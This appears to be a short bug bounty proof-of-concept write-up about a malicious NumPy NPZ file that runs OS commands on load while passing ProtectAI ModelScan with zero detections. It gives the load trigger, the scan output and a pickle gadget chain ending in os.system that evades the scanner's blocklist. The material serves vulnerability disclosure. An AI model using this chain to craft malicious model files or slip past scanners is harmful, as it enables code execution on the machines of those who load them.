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NPZ ACE Scanner Bypass PoC

Huntr Bug Bounty — Model File Formats (NPZ / ProtectAI ModelScan)

bypass_v5.npz is a 391-byte malicious NumPy NPZ file that:

Executes arbitrary OS commands via np.load(allow_pickle=True)
Passes ProtectAI ModelScan v0.8.8 NumpyUnsafeOpScan with zero detections (total_issues: 0, exit 0)

import numpy as np
data = np.load('bypass_v5.npz', allow_pickle=True)
_ = data['payload']  # ACE fires here

modelscan scan -p bypass_v5.npz -r json
# {"total_issues": 0, "issues": []}  exit 0

importlib.import_module -> builtins.vars -> operator.getitem -> os.system

None of these GLOBAL references appear on ModelScan's NumpyUnsafeOpScan blocklist.

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